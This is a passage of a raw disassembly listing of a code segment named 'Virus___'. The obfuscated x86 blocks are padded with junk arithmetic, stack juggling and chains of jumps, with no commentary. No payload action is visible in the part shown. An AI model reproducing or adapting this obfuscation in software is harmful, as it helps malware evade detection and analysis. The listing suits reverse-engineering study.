		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55399D
; ---------------------------------------------------------------------------


loc_5628DB:				; CODE XREF: Virus___:00555050j
		pop	eax
		jmp	loc_557845
; ---------------------------------------------------------------------------


loc_5628E1:				; CODE XREF: Virus___:005591D5j
		push	ebp
		jmp	loc_55FA1D
; ---------------------------------------------------------------------------


loc_5628E7:				; CODE XREF: Virus___:00563E76j
		push	ebx
		jmp	loc_560A58
; ---------------------------------------------------------------------------


loc_5628ED:				; CODE XREF: Virus___:00564A22j
		mov	edx, 2B2304E6h
		sub	ebx, 2BC5701Fh
		sub	ebx, edx
		add	ebx, 2BC5701Fh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_562A6E
; ---------------------------------------------------------------------------


loc_56290E:				; CODE XREF: Virus___:0056281Ej
		pop	eax
		jmp	loc_552ECE
; ---------------------------------------------------------------------------


loc_562914:				; CODE XREF: Virus___:00562A74j
		push	edi
		jmp	loc_5584CF
; ---------------------------------------------------------------------------


loc_56291A:				; CODE XREF: Virus___:0055C286j
		pop	ebp
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		xchg	ebp, ebx
		jmp	loc_55080E
; ---------------------------------------------------------------------------


loc_562928:				; CODE XREF: Virus___:0055F76Ej
		xor	eax, ebx
		push	724h
		mov	[esp], ecx
		push	eax
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_56388E
; ---------------------------------------------------------------------------


loc_562945:				; CODE XREF: Virus___:00552F79j
		sub	bh, 68h
		sub	bh, 53h
		mov	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, dh
		pop	dx
		jmp	loc_5609A7
; ---------------------------------------------------------------------------


loc_56295F:				; CODE XREF: Virus___:00555094j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_55DDD3
; ---------------------------------------------------------------------------


loc_56296B:				; CODE XREF: Virus___:00563ED7j
		dec	edx
		add	edx, 39372A13h
		jmp	loc_563518
; ---------------------------------------------------------------------------


loc_562977:				; CODE XREF: Virus___:00554018j
		mov	[esp], edx
		push	4
		jmp	loc_560D1D
; ---------------------------------------------------------------------------


loc_562984:				; CODE XREF: Virus___:0055AE42j
		sub	ebx, edx
		jmp	loc_55B961
; ---------------------------------------------------------------------------


loc_56298B:				; CODE XREF: Virus___:0055EFD3j
		mov	dl, 0C1h
		push	eax
		mov	al, 5Ah
		push	edx
		mov	dh, 0D6h
		or	al, dh
		pop	edx
		xor	al, 0C7h
		add	al, 60h
		neg	al
		inc	al
		add	al, 0FCh
		and	dl, al
		pop	eax
		jmp	loc_5587C4
; ---------------------------------------------------------------------------


loc_5629A8:				; CODE XREF: Virus___:0055EDBDj
		push	edi
		mov	di, 398Bh
		add	di, 0DF6h
		jmp	loc_562C42
; ---------------------------------------------------------------------------


loc_5629B7:				; CODE XREF: Virus___:0055593Ej
		pop	ebx
		jmp	loc_55546B
; ---------------------------------------------------------------------------


loc_5629BD:				; CODE XREF: Virus___:00554850j
		and	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_55C9A5
; ---------------------------------------------------------------------------


loc_5629C8:				; CODE XREF: Virus___:005594C0j
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		xchg	ebx, [esp]
		jmp	loc_562BA6
; ---------------------------------------------------------------------------


loc_5629D8:				; CODE XREF: Virus___:005624ACj
		shl	ecx, 4
		dec	ecx
		xor	ecx, 0E3F9DE2Ah
		and	edi, ecx
		jmp	loc_5580F3
; ---------------------------------------------------------------------------


loc_5629E9:				; CODE XREF: Virus___:00552D32j
		sub	edx, ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7B195B2Dh
		sub	edx, ebp
		jmp	loc_55958F
; ---------------------------------------------------------------------------


loc_5629FD:				; CODE XREF: Virus___:00552B0Aj
		sub	al, 7Ah
		xor	bl, al
		pop	ax
		or	bl, 54h
		jmp	loc_558DFA
; ---------------------------------------------------------------------------


loc_562A0B:				; CODE XREF: Virus___:00563589j
		mov	ebp, 2799293Ah
		push	21F5h
		jmp	loc_564055
; ---------------------------------------------------------------------------


loc_562A1A:				; CODE XREF: Virus___:00556866j
		pop	esi
		jmp	loc_55C868
; ---------------------------------------------------------------------------


loc_562A20:				; CODE XREF: Virus___:005570E0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_563FB3
; ---------------------------------------------------------------------------


loc_562A50:				; CODE XREF: Virus___:0055A871j
		sub	eax, 4B3B2DF5h
		push	edx
		mov	edx, 3BE606ACh
		add	edx, 2604133h
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		dec	eax
		xchg	eax, edx
		jmp	loc_557E41
; ---------------------------------------------------------------------------


loc_562A6E:				; CODE XREF: Virus___:00562909j
		add	esp, 4
		jmp	loc_562914
; ---------------------------------------------------------------------------


loc_562A79:				; CODE XREF: Virus___:0055AA01j
		pop	eax
		pop	esi
		jmp	loc_55AB9E
; ---------------------------------------------------------------------------


loc_562A80:				; CODE XREF: Virus___:005625B0j
		pop	esp
		and	eax, ebp
		jmp	loc_5622F8
; ---------------------------------------------------------------------------


loc_562A88:				; CODE XREF: Virus___:00562F3Ej
		push	ebp
		push	9491490h
		jmp	loc_559703
; ---------------------------------------------------------------------------


loc_562A93:				; CODE XREF: Virus___:00563644j
		sub	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_563D7D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_55D976
; ---------------------------------------------------------------------------


loc_562ABF:				; CODE XREF: Virus___:00557F57j
		push	edi
		jmp	loc_554717
; ---------------------------------------------------------------------------


loc_562AC5:				; CODE XREF: Virus___:00551E7Aj
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dl, 2Bh
		jmp	loc_564611
; ---------------------------------------------------------------------------


loc_562AD3:				; CODE XREF: Virus___:00557BEEj
		mov	bl, dl
		mov	ch, bl
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		jmp	loc_556300
; ---------------------------------------------------------------------------


loc_562AE9:				; CODE XREF: Virus___:00564528j
		pop	edx
		xor	edx, 370461B9h
		sub	esp, 4
		mov	[esp], edx
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	5929h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_562263
; ---------------------------------------------------------------------------


loc_562B24:				; CODE XREF: Virus___:0055B6E7j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	edi
		jmp	loc_5639E7
; ---------------------------------------------------------------------------


loc_562B30:				; CODE XREF: Virus___:0055E27Fj
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 3CC11C39h
		add	esi, 43BF0A2Dh
		push	914h
		jmp	loc_556FB8
; ---------------------------------------------------------------------------


loc_562B4F:				; CODE XREF: Virus___:005622AFj
		add	eax, 2C122B04h
		sub	eax, 99E56DAh
		jmp	loc_550631
; ---------------------------------------------------------------------------


loc_562B5E:				; CODE XREF: Virus___:0055A94Dj
		push	eax
		jmp	loc_54F90A
; ---------------------------------------------------------------------------


loc_562B64:				; CODE XREF: Virus___:0055C4BEj
		mov	ebp, esi
		jmp	loc_552EAD
; ---------------------------------------------------------------------------


loc_562B6B:				; CODE XREF: Virus___:00555AFBj
		push	6DE8h
		mov	[esp], ebx
		jmp	loc_55AC7E
; ---------------------------------------------------------------------------


loc_562B78:				; CODE XREF: Virus___:00560641j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55ECAA
; ---------------------------------------------------------------------------


loc_562B86:				; CODE XREF: Virus___:0055B2F7j
		pop	ecx
		sub	eax, 2C10539Dh
		jmp	loc_5507FA
; ---------------------------------------------------------------------------


loc_562B91:				; CODE XREF: Virus___:0055661Ej
		mov	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6AF46C6Eh
		and	edx, ecx
		jmp	loc_5639A5
; ---------------------------------------------------------------------------


loc_562BA6:				; CODE XREF: Virus___:005629D3j
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		shr	ebx, 1
		push	eax
		mov	eax, 1E0464D9h
		xor	ebx, eax
		pop	eax
		push	2C9Dh
		mov	[esp], edi
		mov	edi, 7F0F3E0Fh
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1
		push	esi
		mov	esi, 436D67CAh
		add	esi, 13E735FFh
		jmp	loc_562536
; ---------------------------------------------------------------------------


loc_562BE3:				; CODE XREF: Virus___:005639CBj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55F8A3
; ---------------------------------------------------------------------------


loc_562BF7:				; CODE XREF: Virus___:0055833Dj
		mov	cl, bh
		jmp	loc_55CA45
; ---------------------------------------------------------------------------


loc_562BFE:				; CODE XREF: Virus___:0055D2EAj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_562C0A:				; CODE XREF: Virus___:0055D0C2j
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55BB11
; ---------------------------------------------------------------------------


loc_562C25:				; CODE XREF: Virus___:0056321Cj
		add	esp, 4
		push	esi
		jmp	loc_551909
; ---------------------------------------------------------------------------


loc_562C31:				; CODE XREF: Virus___:00563BAEj
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_555171
; ---------------------------------------------------------------------------


loc_562C42:				; CODE XREF: Virus___:005629B2j
		sub	di, 0FAFDh
		push	di
		jmp	loc_557867
; ---------------------------------------------------------------------------


loc_562C4E:				; CODE XREF: Virus___:0055ACE5j
		sub	ebp, eax
		pop	eax
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		mov	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	6FBC2729h
		jmp	loc_55CED6
; ---------------------------------------------------------------------------


loc_562C6E:				; CODE XREF: Virus___:00558993j
		and	esi, 76C161F3h
		xchg	edi, esi
		add	edi, 0FFFFFFFFh
		jmp	loc_5563FC
; ---------------------------------------------------------------------------


loc_562C7E:				; CODE XREF: Virus___:005577E3j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_55841F
; ---------------------------------------------------------------------------


loc_562C90:				; CODE XREF: Virus___:005558AFj
		push	ecx
		mov	ecx, esp
		jmp	loc_55D1FC
; ---------------------------------------------------------------------------


loc_562C98:				; CODE XREF: Virus___:005578ACj
		mov	esi, 333460A2h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebp, 2F136EBBh
		shl	ebp, 5
		not	ebp
		push	esi
		push	0D31h
		mov	[esp], ecx
		mov	ecx, 51EF3C4Bh
		mov	esi, 14FC4798h
		xor	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0EB9132Eh
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 761D5536h
		jmp	loc_55D8E2
; ---------------------------------------------------------------------------


loc_562CDD:				; CODE XREF: Virus___:00556AEFj
		add	ecx, 0A08AE5EBh
		mov	edx, ecx
		jmp	loc_558E3C
; ---------------------------------------------------------------------------


loc_562CEA:				; CODE XREF: Virus___:005545A4j
		pop	esi
		add	esi, 4
		jmp	loc_557FDE
; ---------------------------------------------------------------------------


loc_562CF6:				; CODE XREF: Virus___:0055AA1Ej
		push	ebx
		mov	ebx, 75957496h
		jmp	loc_554D2A
; ---------------------------------------------------------------------------


loc_562D01:				; CODE XREF: Virus___:005558BDj
		push	ecx
		mov	ecx, 656535B0h
		shl	ecx, 7
		xor	ecx, 292366Bh
		jmp	loc_558C3C
; ---------------------------------------------------------------------------


loc_562D15:				; CODE XREF: Virus___:005508ABj
		mov	ebp, [esp]
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------


loc_562D1D:				; CODE XREF: Virus___:005604BFj
		push	edi
		mov	edi, 4
		sub	edx, 3AC11275h
		sub	edx, edi
		add	edx, 3AC11275h
		pop	edi
		jmp	loc_5607CE
; ---------------------------------------------------------------------------


loc_562D37:				; CODE XREF: Virus___:0055950Aj
		mov	eax, 5C4058DBh
		xor	eax, 46A639DEh
		xor	eax, 3E325A2Ah
		jmp	loc_55406C
; ---------------------------------------------------------------------------


loc_562D4B:				; CODE XREF: Virus___:00562DA2j
		push	ecx
		jmp	loc_55C7BC
; ---------------------------------------------------------------------------


loc_562D51:				; CODE XREF: Virus___:0055BBF1j
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		jmp	loc_5591D0
; ---------------------------------------------------------------------------


loc_562D5C:				; CODE XREF: Virus___:0055EAF2j
		push	eax
		mov	eax, 535421C0h
		inc	eax
		push	edx
		mov	edx, 7D94185Eh
		jmp	loc_552B42
; ---------------------------------------------------------------------------


loc_562D6E:				; CODE XREF: Virus___:00560B92j
		push	796F6131h
		pop	ecx
		and	ecx, 4B043D9h
		sub	ecx, 0A210F1EAh
		mov	esi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_557BF3
; ---------------------------------------------------------------------------


loc_562D8D:				; CODE XREF: Virus___:0055C9FBj
		shr	edx, 6
		sub	edx, 0B63FC4C8h
		push	ebx
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		jmp	loc_561C12
; ---------------------------------------------------------------------------


loc_562DA1:				; CODE XREF: Virus___:0055BF78j
		push	eax
		jmp	loc_562D4B
; ---------------------------------------------------------------------------


loc_562DA7:				; CODE XREF: Virus___:00556991j
		push	5AD317C2h
		pop	ebp
		shr	ebp, 8
		sub	ebp, offset byte_5AD317
		jmp	loc_550D86
; ---------------------------------------------------------------------------


loc_562DBB:				; CODE XREF: Virus___:005616ACj
		pop	ebx
		dec	al
		shr	al, 3
		xchg	ch, al
		not	ch
		jmp	loc_561A2E
; ---------------------------------------------------------------------------


loc_562DCA:				; CODE XREF: Virus___:0055C48Bj
		mov	ebx, 24F3BC1h
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 10E15774h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 2AA54AEh
		sub	ebx, edi
		sub	esp, 4
		jmp	loc_560973
; ---------------------------------------------------------------------------


loc_562E01:				; CODE XREF: Virus___:00551F84j
		push	4
		pop	edi
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 2
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_55FEB8
; ---------------------------------------------------------------------------


loc_562E2C:				; CODE XREF: Virus___:005560C4j
		xchg	ebp, [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_562E3C:				; CODE XREF: Virus___:00553BE0j
		mov	[esp], eax
		mov	eax, 4
		push	esi
		jmp	loc_55A74D
; ---------------------------------------------------------------------------


loc_562E4A:				; CODE XREF: Virus___:00553FA5j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	1A68h
		mov	[esp], edx
		push	ebx
		mov	bh, ch
		mov	dh, bh
		pop	ebx
		mov	[eax], dh
		pop	edx
		jmp	loc_55D626
; ---------------------------------------------------------------------------


loc_562E8B:				; CODE XREF: Virus___:0055F062j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		push	ebx
		mov	ebx, 69235170h
		neg	ebx
		jmp	loc_55320A
; ---------------------------------------------------------------------------


loc_562EBC:				; CODE XREF: Virus___:0055C124j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 0A1h
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_551A17
; ---------------------------------------------------------------------------


loc_562ED7:				; CODE XREF: Virus___:0055D4E4j
		push	39A0h
		mov	[esp], ebx
		mov	bh, 0F9h
		sub	esp, 4
		jmp	loc_55F34B
; ---------------------------------------------------------------------------


loc_562EE9:				; CODE XREF: Virus___:0055FED0j
		mov	ebp, 125A1E3Ch
		sub	dword ptr [esp+8], 51BE3D50h
		sub	[esp+8], ebp
		add	dword ptr [esp+8], 51BE3D50h
		pop	ebp
		jmp	loc_55E5B5
; ---------------------------------------------------------------------------


loc_562F08:				; CODE XREF: Virus___:0055D349j
		add	ebx, 7665057Bh
		pop	ecx
		jmp	loc_55BC36
; ---------------------------------------------------------------------------


loc_562F14:				; CODE XREF: Virus___:00555B06j
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_54FCFC
; ---------------------------------------------------------------------------


loc_562F3D:				; CODE XREF: Virus___:0055B880j
		push	edi
		jmp	loc_562A88
; ---------------------------------------------------------------------------


loc_562F43:				; CODE XREF: Virus___:00564A17j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebp
		mov	ebp, 75A82B6Eh
		push	edi
		mov	edi, 86456FCh
		add	ebp, edi
		jmp	loc_55AFF0
; ---------------------------------------------------------------------------


loc_562F6A:				; CODE XREF: Virus___:0055E355j
		sub	esi, 0A0A36A5Eh
		push	edx
		mov	edx, esi
		jmp	loc_564142
; ---------------------------------------------------------------------------


loc_562F78:				; CODE XREF: Virus___:00554923j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_562F7D:				; CODE XREF: Virus___:00556711j
		mov	[esp], ecx
		jmp	loc_55D938
; ---------------------------------------------------------------------------


loc_562F85:				; CODE XREF: Virus___:005645BBj
		mov	esi, edx
		pop	edx
		or	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550C5F
; ---------------------------------------------------------------------------


loc_562F98:				; CODE XREF: Virus___:0055B1C7j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55795F
; ---------------------------------------------------------------------------


loc_562FA6:				; CODE XREF: Virus___:0055B720j
		movzx	cx, ah
		push	small 4447h
		mov	[esp], cx
		jmp	loc_55779F
; ---------------------------------------------------------------------------


loc_562FB7:				; CODE XREF: Virus___:0055AE2Cj
		push	edi
		jmp	loc_54FBFA
; ---------------------------------------------------------------------------


loc_562FBD:				; CODE XREF: Virus___:0055872Cj
		mov	esi, eax
		pop	eax
		jmp	loc_555774
; ---------------------------------------------------------------------------


loc_562FC5:				; CODE XREF: Virus___:00563ADDj
		and	edi, 7570460Bh
		sub	edi, 2A3D64AEh
		add	edi, 0F5ED60B2h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_562220
; ---------------------------------------------------------------------------


loc_562FE5:				; CODE XREF: Virus___:0055E3EBj
		mov	ax, [esp]
		push	48C4h
		mov	[esp], edi
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 6F8F3F8Ch
		sub	dword ptr [esp+4], 449A7AFBh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 449A7AFBh
		sub	dword ptr [esp+4], 6F8F3F8Ch
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_54FC3F
; ---------------------------------------------------------------------------


loc_563043:				; CODE XREF: Virus___:0055276Ej
		mov	eax, ebp
		pop	ebp
		jmp	loc_550791
; ---------------------------------------------------------------------------


loc_56304B:				; CODE XREF: Virus___:005625D6j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55AA68
; ---------------------------------------------------------------------------


loc_563054:				; CODE XREF: Virus___:0055498Bj
		add	esp, 4
		add	esi, 4
		jmp	loc_554CD9
; ---------------------------------------------------------------------------


loc_563062:				; CODE XREF: Virus___:00554133j
		mov	ax, [esp]
		jmp	loc_5612F0
; ---------------------------------------------------------------------------


loc_56306B:				; CODE XREF: Virus___:00557B65j
		shl	al, 5
		not	al
		jmp	loc_55CE50
; ---------------------------------------------------------------------------


loc_563075:				; CODE XREF: Virus___:005647BEj
		pop	ebp
		or	edx, 5AA2C8Fh
		shr	edx, 2
		inc	edx
		push	edi
		mov	edi, 10DA8F5Ch
		jmp	loc_563C11
; ---------------------------------------------------------------------------


loc_56308B:				; CODE XREF: Virus___:00560D5Fj
		add	bl, al
		jmp	loc_55BF68
; ---------------------------------------------------------------------------


loc_563092:				; CODE XREF: Virus___:00561E5Dj
		sub	ebp, 48425C76h
		add	ebp, ecx
		jmp	loc_5568DB
; ---------------------------------------------------------------------------


loc_56309F:				; CODE XREF: Virus___:00551A2Aj
		sub	ebx, 7B5C5601h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_563A31
; ---------------------------------------------------------------------------


loc_5630B0:				; CODE XREF: Virus___:0054F879j
		push	dx
		mov	dl, 30h
		add	ah, dl
		pop	dx
		and	cl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	cl, 66h
		push	edx
		mov	dh, cl
		mov	al, dh
		jmp	loc_55FABF
; ---------------------------------------------------------------------------


loc_5630CE:				; CODE XREF: Virus___:00555D7Cj
		shl	bx, 4
		jmp	loc_555D1F
; ---------------------------------------------------------------------------


loc_5630D7:				; CODE XREF: Virus___:0055FBD8j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 551E6EAFh
		sub	ebx, 5D150C56h
		dec	ebx
		neg	ebx
		jmp	loc_559AB9
; ---------------------------------------------------------------------------


loc_5630F0:				; CODE XREF: Virus___:0055EB98j
		mov	[esp], eax
		push	esi
		mov	esi, 4
		push	esi
		pop	eax
		mov	esi, [esp]
		jmp	loc_55273A
; ---------------------------------------------------------------------------


loc_563103:				; CODE XREF: Virus___:005512BBj
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5551DC
; ---------------------------------------------------------------------------


loc_563117:				; CODE XREF: Virus___:0055E33Fj
		inc	ecx
		jmp	loc_558943
; ---------------------------------------------------------------------------


loc_56311D:				; CODE XREF: Virus___:00550320j
		mov	eax, 53C334CAh
		dec	eax
		sub	eax, 35E20D67h
		jmp	loc_559981
; ---------------------------------------------------------------------------


loc_56312D:				; CODE XREF: Virus___:0055E2A3j
		sub	eax, 60C63A84h
		sub	esi, eax
		jmp	loc_5566F6
; ---------------------------------------------------------------------------


loc_563139:				; CODE XREF: Virus___:005611CEj
		shl	bh, 4
		shl	bh, 7
		dec	bh
		jmp	loc_5646CA
; ---------------------------------------------------------------------------


loc_563146:				; CODE XREF: Virus___:0055E58Dj
		xor	[esp], ebx
		not	ebx
		xchg	ebx, [esp]
		pop	edx
		push	0
		sub	[esp], edx
		pop	edx
		push	edi
		push	34AB6935h
		jmp	loc_55AC5D
; ---------------------------------------------------------------------------


loc_563163:				; CODE XREF: Virus___:005644BEj
		mov	[esp], ecx
		mov	ecx, 19A0346Bh
		shl	ecx, 7
		sub	ecx, 920FD708h
		sub	eax, ecx
		pop	ecx
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55D804
; ---------------------------------------------------------------------------


loc_563190:				; CODE XREF: Virus___:00561794j
		sub	ecx, 1F02416Eh
		shr	ecx, 5
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5611A1
; ---------------------------------------------------------------------------


loc_5631A4:				; CODE XREF: Virus___:005527AFj
		pop	edx
		sub	dword ptr [esp+4], 13974B67h
		pop	edi
		pop	eax
		push	307Bh
		jmp	loc_55FA88
; ---------------------------------------------------------------------------


loc_5631B9:				; CODE XREF: Virus___:0055EB63j
		push	ebp
		mov	ebp, 14344ABFh
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 352B66A5h
		xor	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 64EF52D2h
		add	esi, ebx
		pop	ebx
		sub	esi, ecx
		sub	esi, 64EF52D2h
		pop	ecx
		add	esi, 0B2C807EFh
		jmp	loc_559CDD
; ---------------------------------------------------------------------------


loc_5631E8:				; CODE XREF: Virus___:00552EECj
		add	edx, ebp
		add	edx, 6C727BCBh
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	6566h
		mov	[esp], esi
		jmp	loc_55F638
; ---------------------------------------------------------------------------


loc_56320A:				; CODE XREF: Virus___:005567D5j
		sub	cl, 0A3h
		xor	dh, cl
		pop	ecx
		sub	al, 39h
		sub	al, dh
		add	al, 39h
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_562C25
; ---------------------------------------------------------------------------


loc_563221:				; CODE XREF: Virus___:00562018j
		mov	edx, 0
		add	edx, eax
		push	ebx
		push	esi
		push	2C247B6Bh
		pop	esi
		jmp	loc_563AC2
; ---------------------------------------------------------------------------


loc_563235:				; CODE XREF: Virus___:0055F4EEj
		mov	esi, 48AC658Ch
		and	esi, 6BA34E7h
		or	esi, 1B48194Dh
		xor	esi, 2F3301A7h
		and	ebp, esi
		pop	esi
		add	ebp, 12A37B2Ch
		push	edi
		mov	edi, 88F20F7h
		or	ebp, edi
		pop	edi
		sub	ebp, 0A6F2816Fh
		add	ecx, ebp
		jmp	loc_563C57
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_550E07
; ---------------------------------------------------------------------------


loc_56327A:				; CODE XREF: Virus___:00550FE2j
		xchg	edi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_563289:				; CODE XREF: Virus___:00553233j
		push	27F3h
		mov	[esp], ebx
		mov	ebx, 75F80D17h
		jmp	loc_55EAF1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		jmp	loc_562659
; ---------------------------------------------------------------------------


loc_5632AB:				; CODE XREF: Virus___:0055D362j
		mov	ecx, [esp]
		jmp	loc_56068F
; ---------------------------------------------------------------------------


loc_5632B3:				; CODE XREF: Virus___:0055EB10j
		mov	bh, dh
		mov	ch, bh
		pop	ebx
		pop	edx
		jmp	loc_553F99
; ---------------------------------------------------------------------------


loc_5632BE:				; CODE XREF: Virus___:00559EA9j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5594EF
; ---------------------------------------------------------------------------


loc_5632CE:				; CODE XREF: Virus___:0055F853j
		add	ebx, 281815E3h
		add	ebx, edi
		sub	ebx, 281815E3h
		push	3AB1h
		mov	[esp], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp]
		jmp	loc_56279E
; ---------------------------------------------------------------------------


loc_5632FE:				; CODE XREF: Virus___:00557853j
		mov	esi, 8E144DDh
		jmp	loc_556650
; ---------------------------------------------------------------------------


loc_563308:				; CODE XREF: Virus___:00557D2Fj
		mov	cl, ah
		pop	eax
		push	esi
		jmp	loc_552B48
; ---------------------------------------------------------------------------


loc_563311:				; CODE XREF: Virus___:0055A947j
		push	dword ptr [esp]
		jmp	loc_55EDA9
; ---------------------------------------------------------------------------


loc_563319:				; CODE XREF: Virus___:0055E237j
		sub	ch, 1
		jmp	loc_55269C
; ---------------------------------------------------------------------------


loc_563321:				; CODE XREF: Virus___:0055F48Aj
		sub	ebp, 67E288Bh
		and	ebp, 590D7839h
		shr	ebp, 5
		jmp	loc_556413
; ---------------------------------------------------------------------------


loc_563335:				; CODE XREF: Virus___:0055B716j
		sub	al, 8Eh
		shl	al, 7
		dec	al
		xor	al, 12h
		xor	dl, al
		pop	eax
		jmp	loc_563887
; ---------------------------------------------------------------------------


loc_563346:				; CODE XREF: Virus___:0055C466j
		mov	[esp], ecx
		mov	ecx, 40h
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, 5A0677BBh
		add	edx, edi
		sub	edx, 5A0677BBh
		push	ecx
		push	esi
		jmp	loc_552608
; ---------------------------------------------------------------------------


loc_56336F:				; CODE XREF: Virus___:00551815j
		imul	cx
		push	small 3ACDh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_563392:				; CODE XREF: Virus___:00554CFEj
		mov	[esp], edx
		jmp	loc_5613AF
